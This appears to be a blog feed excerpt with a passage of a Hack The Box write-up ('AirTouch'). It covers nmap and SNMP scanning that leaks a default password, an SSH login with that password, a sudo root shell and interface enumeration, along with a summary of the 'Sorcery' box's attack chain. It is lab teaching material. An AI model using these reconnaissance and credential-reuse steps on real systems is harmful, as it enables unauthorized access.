Failed password attempts: 0
Number of keys: 4
Key: vno 5, aes256-cts-hmac-sha384-192:special
Key: vno 5, aes128-cts-hmac-sha256-128:special
Key: vno 5, aes256-cts-hmac-sha1-96:special
Key: vno 5, aes128-cts-hmac-sha1-96:special
MKey: vno 1
Attributes: REQUIRES_PRE_AUTH DISALLOW_SVR
Policy: [none]
</span></code></pre></div></div>]]></content><author><name></name></author><category term="ctf" /><category term="hackthebox" /><category term="htb-sorcery" /><category term="pentest" /><category term="bug-bounty" /><category term="htb-sorcery" /><category term="ctf" /><category term="hackthebox" /><category term="nmap" /><category term="container" /><category term="ffuf" /><category term="subdomain" /><category term="passkey" /><category term="chrome-devtools-passkey" /><category term="webauthn" /><category term="gitea" /><category term="docker-compose" /><category term="docker" /><category term="neo4j" /><category term="kafka" /><category term="dnsmasq" /><category term="rust" /><category term="source-code" /><category term="mailhog" /><category term="vsftpd" /><category term="next-js" /><category term="cypher" /><category term="cypher-injection" /><category term="argon2" /><category term="xss" /><category term="xss-register-passkey" /><category term="python" /><category term="python-flask" /><category term="claude" /><category term="kafka-wire-protocol" /><category term="python-ftp" /><category term="pem2john" /><category term="hashcat" /><category term="phishing" /><category term="tls-certificate" /><category term="mitmproxy" /><category term="mitmdump" /><category term="sssd" /><category term="ldap" /><category term="kerberos" /><category term="docker-proxy" /><category term="docker-registry" /><category term="mousepad" /><category term="xvfb" /><category term="xwud" /><category term="imagemagick" /><category term="docker-credential" /><category term="strace" /><category term="pspy" /><category term="totp" /><category term="dotpeek" /><category term="reverse-engineering" /><category term="dotnet" /><category term="dotnet-random" /><category term="dotnet-random-python" /><category term="dockerregistrygrabber" /><category term="freeipa" /><category term="kinit" /><category term="klist" /><category term="ipa" /><category term="ldapmodify" /><category term="sudo" /><category term="cleanup-script" /><summary type="html"><![CDATA[Sorcery is a Linux box with a Rust Rocket web app backed by Neo4j, Gitea, and a Kafka message bus. I’ll exploit Cypher injection in a derive-macro-generated query to leak the seller registration key, then use XSS in a product description to register a passkey on the admin account through a headless Chrome bot. I’ll also show a shortcut to change the admin’s password using cypher injection. As admin, a port-debug tool becomes an SSRF I can use to send Kafka wire protocol messages, which I’ll use to get RCE in the DNS container. From there, I’ll recover a CA keypair from FTP, phish the next user with mitmproxy proxying their own Gitea login page, read a password out of an Xvfb framebuffer, and reverse a .NET binary to generate OTPs for Docker Registry auth. Pulling layers out of a pushed image leaks another password, and the final pivots abuse FreeIPA roles to change one user’s password over LDAP and bootstrap sudo rights to root. I’ll show a couple unintended paths using pspy to capture creds as well.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/sorcery-cover.png" /><media:content medium="image" url="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/sorcery-cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HTB: AirTouch</title><link href="https://0xdf.gitlab.io/2026/04/18/htb-airtouch.html" rel="alternate" type="text/html" title="HTB: AirTouch" /><published>2026-04-18T13:45:00+00:00</published><updated>2026-04-18T13:45:00+00:00</updated><id>https://0xdf.gitlab.io/2026/04/18/htb-airtouch</id><content type="html" xml:base="https://0xdf.gitlab.io/2026/04/18/htb-airtouch.html"><![CDATA[<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/airtouch-cover.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/airtouch-cover.png" alt="AirTouch" style="float: right; margin-right:50px; margin-left:50px; height:150px;" class="include_image " />
</picture>
<p>AirTouch simulates a wireless network environment. I’ll start by pulling a default password from SNMP to SSH as a consultant user inside a container with virtual wireless interfaces. From there, I’ll capture and crack a WPA2-PSK handshake to join the tablet network, then decrypt the captured traffic in WireShark to recover session cookies for a router management site. A client-side role cookie gates an admin upload feature, where I’ll bypass the PHP extension filter with a phtml file to get RCE. Hardcoded credentials in the source give me the next user, and sudo gets me root, where I find the CA and server certs for the corporate wireless network. I’ll use those with eaphammer to stand up an evil twin of AirTouch-Office and capture a PEAP-MSCHAPv2 challenge, which cracks to reveal a user’s password. That gets me onto the corporate network, where a hostapd eap_user file leaks an admin password, and sudo gets me to root.</p>

<h2 id="box-info">Box Info</h2>

<!-- https://app.hackthebox.com/machines/823 -->

<div class="htb-card platform-htb">
  <div class="htb-card-header">
    <div class="htb-box-info">
      <a href="https://hackthebox.com/machines/airtouch" target="_blank" class="htb-box-icon">
        <picture>
          <source type="image/webp" srcset="/icons/box-airtouch.webp" />
          <img src="/icons/box-airtouch.png" alt="AirTouch" />
        </picture>
      </a>
      <div class="htb-box-title">
        <a href="https://hackthebox.com/machines/airtouch" target="_blank" class="htb-box-name">AirTouch</a>
      </div>
    </div><div class="htb-difficulty-badge diff-Medium">
      Medium
    </div>
  </div>

  <div class="htb-card-body">
    <div class="htb-meta-grid">
      <div class="htb-meta-item">
        <span class="htb-meta-label">Release Date</span>
        <span class="htb-meta-value">
          
          <a href="https://twitter.com/hackthebox_eu/status/2011845891397697819">17 Jan 2026</a>
        </span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">Retire Date</span>
        <span class="htb-meta-value">18 Apr 2026</span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">OS</span>
        <span class="htb-meta-value htb-os">
          <picture><source type="image/webp" srcset="/icons/Linux.webp" /><img src="/icons/Linux.png" alt="Linux" /></picture>
          Linux
        </span>
      </div>
    </div>

    <div class="htb-cards">
      
      <div class="htb-card-row htb-card-green">
        <span class="htb-card-label">Rated Difficulty</span>
        <picture>
          <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/airtouch-diff.webp" />
          <img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/airtouch-diff.png" alt="Rated difficulty for AirTouch" class="htb-diff-img" />
        </picture>
      </div>
      <div class="htb-card-row htb-card-green htb-card-tall">
        <span class="htb-card-label">Radar Graph</span>
        <picture>
          <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/airtouch-radar.webp" />
          <img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/airtouch-radar.png" alt="Radar chart for AirTouch" class="htb-radar-img" />
        </picture>
      </div>
      
      
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M12.4256 10.0001C11.9254 10.0001 11.5003 9.81776 11.1502 9.45318C10.8 9.0886 10.625 8.64589 10.625 8.12505C10.625 7.60422 10.8 7.16151 11.1502 6.79693C11.5003 6.43235 11.9254 6.25005 12.4256 6.25005C12.9257 6.25005 13.3509 6.43235 13.701 6.79693C14.0511 7.16151 14.2262 7.60422 14.2262 8.12505C14.2262 8.64589 14.0511 9.0886 13.701 9.45318C13.3509 9.81776 12.9257 10.0001 12.4256 10.0001Z" fill="currentColor" /><path d="M8.82438 12.8126V12.5001C8.82438 12.3004 8.87648 12.1116 8.98068 11.9336C9.08488 11.7557 9.22868 11.606 9.41208 11.4844C9.87056 11.2067 10.3553 10.994 10.8662 10.8464C11.3772 10.6988 11.8961 10.6251 12.423 10.6251C12.9499 10.6251 13.4697 10.6988 13.9823 10.8464C14.495 10.994 14.9806 11.2067 15.4391 11.4844C15.6225 11.5973 15.7663 11.7448 15.8705 11.9271C15.9747 12.1094 16.0268 12.3004 16.0268 12.5001V12.8126C16.0268 13.0704 15.9386 13.2911 15.7622 13.4747C15.5857 13.6583 15.3737 13.7501 15.126 13.7501H9.72114C9.47342 13.7501 9.26203 13.6583 9.08697 13.4747C8.91191 13.2911 8.82438 13.0704 8.82438 12.8126Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">User</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">01:05:15</span></span><a href="https://app.hackthebox.com/users/1204261" target="_blank" rel="noopener"><img alt="tabo" src="https://www.hackthebox.com/badge/image/1204261" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> tabo</span></a><br /></div>
      </div>
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M10.7 13.5H9.3V12.1H10.7V13.5ZM10.7 10.7H9.3V6.5H10.7V10.7Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">Root</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">02:08:42</span></span><a href="https://app.hackthebox.com/users/1204261" target="_blank" rel="noopener"><img alt="tabo" src="https://www.hackthebox.com/badge/image/1204261" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> tabo</span></a><br /></div>
      </div>
      
      <div class="htb-card-row htb-card-blue">
        <span class="htb-card-label">Creator</span>
        
<a href="https://app.hackthebox.com/users/1345165" target="_blank" rel="noopener"><img alt="r4ulcl" src="https://www.hackthebox.com/badge/image/1345165" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> r4ulcl</span></a><br />
      </div>
    </div>

    
  </div>
</div>
<h2 id="recon">Recon</h2>

<h3 id="tcp-scanning">TCP Scanning</h3>

<p><code class="language-plaintext highlighter-rouge">nmap</code> finds only one open TCP port, SSH (22):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p-</span> <span class="nt">-vvv</span> <span class="nt">--min-rate</span> 10000 10.129.244.98
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-11 05:07 UTC
...[snip]...
Nmap scan report for 10.129.244.98
Host is up, received reset ttl 63 (0.025s latency).
Scanned at 2026-04-11 05:07:23 UTC for 7s
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 62

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.14 seconds
           Raw packets sent: 69959 (3.078MB) | Rcvd: 65536 (2.621MB)
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p</span> 22 <span class="nt">-sCV</span> 10.129.244.98
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-11 05:07 UTC
Nmap scan report for 10.129.244.98
Host is up (0.022s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 bd:90:00:15:cf:4b:da:cb:c9:24:05:2b:01:ac:dc:3b (RSA)
|   256 6e:e2:44:70:3c:6b:00:57:16:66:2f:37:58:be:f5:c0 (ECDSA)
|_  256 ad:d5:d5:f0:0b:af:b2:11:67:5b:07:5c:8e:85:76:76 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.24 seconds
</span></code></pre></div></div>

<p>Based on the <a href="/cheatsheets/os#ubuntu">OpenSSH version</a>, the host is likely running Ubuntu focal 20.04 LTS (or perhaps Ubuntu groovy 10.10).</p>

<p>The TTL shows 62, which is one less than I would <a href="/cheatsheets/os#os-identification">expect</a> for Linux one hop away. This implies I may be interacting with a container or VM.</p>

<h3 id="udp-scanning">UDP Scanning</h3>

<p>I’ve always disliked <code class="language-plaintext highlighter-rouge">nmap</code> UDP scans, as they are slow and hard to interpret. UDP is tricky because there is no handshake like there is with TCP, so determining if a port is open can involve sending valid data of the protocol being served, not just starting a connection.</p>

<p>An <code class="language-plaintext highlighter-rouge">nmap</code> scan on the top 1000 ports took over 36 minutes:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-sU</span> <span class="nt">-sC</span> <span class="nt">--min-rate</span> 10000 10.129.244.98
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-11 05:17 UTC
Nmap scan report for 10.129.244.98                                                                                                     
Host is up (0.024s latency).
Not shown: 993 open|filtered udp ports (no-response)
PORT      STATE  SERVICE      
161/udp   open   snmp         
| snmp-info:                  
|   enterprise: net-snmp      
|   engineIDFormat: unknown 
|   engineIDData: 7dee5d68b649d96900000000
|   snmpEngineBoots: 1                                             
|_  snmpEngineTime: 3h12m45s                                       
| snmp-sysdescr: "The default consultant password is: RxBlZhLmOkacNWScmZ6D (change it after use it)"
|_  System uptime: 3h12m45.44s (1156544 timeticks)       
1057/udp  closed startron
3456/udp  closed IISrpc-or-vat                                     
9001/udp  closed etlservicemgr
18869/udp closed unknown      
49198/udp closed unknown      
49396/udp closed unknown      
                                 
Nmap done: 1 IP address (1 host up) scanned in 2168.27 seconds
</span></code></pre></div></div>

<p>It does identify a handful of ports as “closed” (a packet came back to indicate the port was closed, rather than just no response), and finds SNMP open on 161.</p>

<p><code class="language-plaintext highlighter-rouge">masscan</code> only takes a couple minutes, but finds nothing:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>masscan <span class="nt">-pU</span>:1-65535 <span class="nt">--rate</span> 1000 10.129.244.98
<span class="go">Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2026-04-11 20:42:54 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
</span></code></pre></div></div>

<p>I’ll give <a href="https://github.com/nullt3r/udpx">UDPX</a> a try. It checks over 45 common UDP ports using protocol specific payloads designed to get a response. It installs with <code class="language-plaintext highlighter-rouge">go install -v github.com/nullt3r/udpx/cmd/udpx@latest</code>, and identifies SNMP in less than 30 seconds:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>udpx <span class="nt">-t</span> 10.129.244.98
<span class="go">
        __  ______  ____ _  __
       / / / / __ \/ __ \ |/ /
      / / / / / / / /_/ /   / 
     / /_/ / /_/ / ____/   |  
     \____/_____/_/   /_/|_|  
         v1.0.7, by @nullt3r

2026/04/11 07:05:53 [+] Starting UDP scan on 1 target(s)
2026/04/11 07:06:01 [*] 10.129.244.98:161 (snmp)
2026/04/11 07:06:17 [+] Scan completed
</span></code></pre></div></div>

<h3 id="snmp---udp-161">SNMP - UDP 161</h3>

<p>The <code class="language-plaintext highlighter-rouge">nmap</code> script output already shows an interesting system description: “The default consultant password is: RxBlZhLmOkacNWScmZ6D (change it after use it)”.</p>

<p>A tool like <a href="https://github.com/trailofbits/onesixtyone">onesixtyone</a> will brute force the SNMP community string:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>onesixtyone <span class="nt">-c</span> /opt/SecLists/Discovery/SNMP/snmp.txt 10.129.244.98
<span class="go">Scanning 1 hosts, 3219 communities
10.129.244.98 [public] "The default consultant password is: RxBlZhLmOkacNWScmZ6D (change it after use it)"
10.129.244.98 [public] "The default consultant password is: RxBlZhLmOkacNWScmZ6D (change it after use it)"
</span></code></pre></div></div>

<p>I can also guess that “public” will work for information that’s meant to be accessed without auth.</p>

<p><code class="language-plaintext highlighter-rouge">snmpwalk</code> will dump the entire SNMP information:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>snmpwalk <span class="nt">-v</span> 2c <span class="nt">-c</span> public 10.129.244.98
<span class="go">SNMPv2-MIB::sysDescr.0 = STRING: "The default consultant password is: RxBlZhLmOkacNWScmZ6D (change it after use it)"
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (6802958) 18:53:49.58
SNMPv2-MIB::sysContact.0 = STRING: admin@AirTouch.htb
SNMPv2-MIB::sysName.0 = STRING: Consultant
SNMPv2-MIB::sysLocation.0 = STRING: "Consultant pc"
SNMPv2-MIB::sysORLastChange.0 = Timeticks: (0) 0:00:00.00
SNMPv2-MIB::sysORID.1 = OID: SNMP-FRAMEWORK-MIB::snmpFrameworkMIBCompliance
SNMPv2-MIB::sysORID.2 = OID: SNMP-MPD-MIB::snmpMPDCompliance
SNMPv2-MIB::sysORID.3 = OID: SNMP-USER-BASED-SM-MIB::usmMIBCompliance
SNMPv2-MIB::sysORID.4 = OID: SNMPv2-MIB::snmpMIB
SNMPv2-MIB::sysORID.5 = OID: SNMP-VIEW-BASED-ACM-MIB::vacmBasicGroup
SNMPv2-MIB::sysORID.6 = OID: TCP-MIB::tcpMIB
SNMPv2-MIB::sysORID.7 = OID: IP-MIB::ip
SNMPv2-MIB::sysORID.8 = OID: UDP-MIB::udpMIB
SNMPv2-MIB::sysORID.9 = OID: SNMP-NOTIFICATION-MIB::snmpNotifyFullCompliance
SNMPv2-MIB::sysORID.10 = OID: NOTIFICATION-LOG-MIB::notificationLogMIB
SNMPv2-MIB::sysORDescr.1 = STRING: The SNMP Management Architecture MIB.
SNMPv2-MIB::sysORDescr.2 = STRING: The MIB for Message Processing and Dispatching.
SNMPv2-MIB::sysORDescr.3 = STRING: The management information definitions for the SNMP User-based Security Model.
SNMPv2-MIB::sysORDescr.4 = STRING: The MIB module for SNMPv2 entities
SNMPv2-MIB::sysORDescr.5 = STRING: View-based Access Control Model for SNMP.
SNMPv2-MIB::sysORDescr.6 = STRING: The MIB module for managing TCP implementations
SNMPv2-MIB::sysORDescr.7 = STRING: The MIB module for managing IP and ICMP implementations
SNMPv2-MIB::sysORDescr.8 = STRING: The MIB module for managing UDP implementations
SNMPv2-MIB::sysORDescr.9 = STRING: The MIB modules for managing SNMP Notification, plus filtering.
SNMPv2-MIB::sysORDescr.10 = STRING: The MIB module for logging SNMP Notifications.
SNMPv2-MIB::sysORUpTime.1 = Timeticks: (0) 0:00:00.00
SNMPv2-MIB::sysORUpTime.2 = Timeticks: (0) 0:00:00.00
SNMPv2-MIB::sysORUpTime.3 = Timeticks: (0) 0:00:00.00
SNMPv2-MIB::sysORUpTime.4 = Timeticks: (0) 0:00:00.00
SNMPv2-MIB::sysORUpTime.5 = Timeticks: (0) 0:00:00.00
SNMPv2-MIB::sysORUpTime.6 = Timeticks: (0) 0:00:00.00
SNMPv2-MIB::sysORUpTime.7 = Timeticks: (0) 0:00:00.00
SNMPv2-MIB::sysORUpTime.8 = Timeticks: (0) 0:00:00.00
SNMPv2-MIB::sysORUpTime.9 = Timeticks: (0) 0:00:00.00
SNMPv2-MIB::sysORUpTime.10 = Timeticks: (0) 0:00:00.00
HOST-RESOURCES-MIB::hrSystemUptime.0 = Timeticks: (6810149) 18:55:01.49
HOST-RESOURCES-MIB::hrSystemUptime.0 = No more variables left in this MIB View (It is past the end of the MIB tree)
</span></code></pre></div></div>

<p>The description is the only interesting bit here.</p>

<h2 id="shell-as-rootairtouch-consultant">Shell as root@AirTouch-Consultant</h2>

<h3 id="ssh-as-consultant">SSH as consultant</h3>

<p>I’ll use the password from SNMP to get a shell with SSH as the consultant user:</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>sshpass <span class="nt">-p</span> RxBlZhLmOkacNWScmZ6D ssh consultant@10.129.244.98
<span class="go">Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
...[snip]...
</span><span class="gp">consultant@AirTouch-Consultant:~$</span><span class="w"> 
</span></code></pre></div></div>

<p>The host is Ubuntu 20.04 as predicted.</p>

<h3 id="user-enumeration">User Enumeration</h3>

<p>The consultant user is the only user with a home directory in <code class="language-plaintext highlighter-rouge">/home</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">consultant@AirTouch-Consultant:~$</span><span class="w"> </span><span class="nb">ls</span> /home/
<span class="go">consultant
</span></code></pre></div></div>

<p>This matches with users with shells configured in <code class="language-plaintext highlighter-rouge">passwd</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">consultant@AirTouch-Consultant:~$</span><span class="w"> </span><span class="nb">cat</span> /etc/passwd | <span class="nb">grep</span> <span class="s1">'sh$'</span>
<span class="go">root:x:0:0:root:/root:/bin/bash
consultant:x:1000:1000::/home/consultant:/bin/bash
</span></code></pre></div></div>

<p>The consultant user’s home directory is empty other than two images:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">consultant@AirTouch-Consultant:~$</span><span class="w"> </span>find <span class="nb">.</span> <span class="nt">-type</span> f
<span class="go">./.bashrc
./.profile
./.bash_logout
./.cache/motd.legal-displayed
./diagram-net.png
./photo_2023-03-01_22-04-52.png
</span></code></pre></div></div>

<p>I’ll grab each of these over <code class="language-plaintext highlighter-rouge">scp</code>:</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>sshpass <span class="nt">-p</span> RxBlZhLmOkacNWScmZ6D scp consultant@10.129.244.98:~/<span class="k">*</span>.png <span class="nb">.</span>
</code></pre></div></div>

<p>The two images from consultant’s home directory are network maps. The first is a hand-drawn diagram:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/photo_2023-03-01_22-04-52.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/photo_2023-03-01_22-04-52.png" alt="" class="include_image " />
</picture>

<p>The second is a computer generated diagram laying out roughly the same architecture with more detail:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/diagram-net.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/diagram-net.png" alt="" class="include_image " />
</picture>

<p>This also shows that SSH (TCP 22) and SNMP (UDP 161) are being forwarded to the Consultant Laptop on those same ports.</p>

<p>I’ll note the three subnets:</p>

<table>
  <thead>
    <tr>
      <th>VLAN</th>
      <th>SSID</th>
      <th>IPs</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Consultant</td>
      <td>N/A</td>
      <td>172.20.1.0/24</td>
    </tr>
    <tr>
      <td>Tablets</td>
      <td>AirTouch-Internet</td>
      <td>192.168.3.0/24</td>
    </tr>
    <tr>
      <td>Corp</td>
      <td>AirTouch-Office</td>
      <td>10.10.10.0/24</td>
    </tr>
  </tbody>
</table>

<h3 id="sudo">sudo</h3>

<p>consultant can run any command as root using <code class="language-plaintext highlighter-rouge">sudo</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">consultant@AirTouch-Consultant:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="go">Matching Defaults entries for consultant on AirTouch-Consultant:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User consultant may run the following commands on AirTouch-Consultant:
    (ALL) NOPASSWD: ALL
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">sudo -i</code> gives a root shell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">consultant@AirTouch-Consultant:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-i</span>
<span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> 
</span></code></pre></div></div>

<h2 id="connection-to-airtouch-internet">Connection to AirTouch-Internet</h2>

<h3 id="enumeration">Enumeration</h3>

<h4 id="home-directory">Home Directory</h4>

<p><code class="language-plaintext highlighter-rouge">/root</code> holds an interesting directory:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-a</span>
<span class="go">.  ..  .bash_history  .bashrc  .cache  .profile  .wget-hsts  eaphammer
</span></code></pre></div></div>

<p><a href="https://github.com/s0lst1c3/eaphammer">eaphammer</a> is a tool for running targeted evil twin attacks against WPA2-Enterprise networks. The <code class="language-plaintext highlighter-rouge">.wget-hsts</code> file show contact with GitHub, likely downloading <code class="language-plaintext highlighter-rouge">eaphammer</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># HSTS 1.0 Known Hosts database for GNU Wget.
# Edit at your own risk.
# &lt;hostname&gt;    &lt;port&gt;  &lt;incl. subdomains&gt;      &lt;created&gt;       &lt;max-age&gt;
raw.githubusercontent.com       0       0       1711555940      31536000
github.com      0       1       1711555935      31536000
codeload.github.com     0       0       1711555669      31536000
</code></pre></div></div>

<h4 id="network">Network</h4>

<p><code class="language-plaintext highlighter-rouge">ip addr</code> shows 9 interfaces:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-Consultant:~#</span><span class="w"> </span>ip addr
<span class="go">1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0@if29: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP group default 
    link/ether ea:9a:2d:5f:53:dc brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.20.1.2/24 brd 172.20.1.255 scope global eth0
       valid_lft forever preferred_lft forever
7: wlan0: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 02:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
8: wlan1: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff
9: wlan2: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff
10: wlan3: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 02:00:00:00:03:00 brd ff:ff:ff:ff:ff:ff
11: wlan4: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 02:00:00:00:04:00 brd ff:ff:ff:ff:ff:ff
12: wlan5: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 02:00:00:00:05:00 brd ff:ff:ff:ff:ff:ff
13: wlan6: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 02:00:00:00:06:00 brd ff:ff:ff:ff:ff:ff
